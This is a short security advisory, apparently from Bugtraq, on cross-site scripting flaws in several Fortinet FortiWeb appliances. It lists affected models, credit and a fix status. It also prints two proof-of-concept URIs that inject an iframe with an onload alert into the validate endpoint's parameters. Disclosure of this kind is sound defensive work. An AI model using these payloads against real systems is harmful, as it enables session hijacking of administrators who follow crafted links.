Multiple Fortinet FortiWeb Appliances Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID:	56774
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 01 2012 12:00AM
Updated:	Dec 01 2012 12:00AM
Credit:	Benjamin Kunz Mejri
Vulnerable:	Fortinet FortiWeb Virtual Appliance Fortinet FortiWeb 400C Fortinet FortiWeb 4000C Fortinet FortiWeb 3000C/3000CFsx Fortinet FortiWeb 1000C
Not Vulnerable:

Multiple Fortinet FortiWeb Appliances Multiple Cross Site Scripting Vulnerabilities

Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

https://www.example.com/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C

https://www.example.com/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

Multiple Fortinet FortiWeb Appliances Multiple Cross Site Scripting Vulnerabilities

Solution:
Reportedly, the issues have been fixed, however, Symantec has not confirmed it. Please contact the vendor for more information.

Multiple Fortinet FortiWeb Appliances Multiple Cross Site Scripting Vulnerabilities

References:

• FortiOS Homepage (Fortinet)
  
• FortiWeb 4kC, 3kC, 1kC & VA - Cross Site Vulnerabilities (Vulnerability Lab)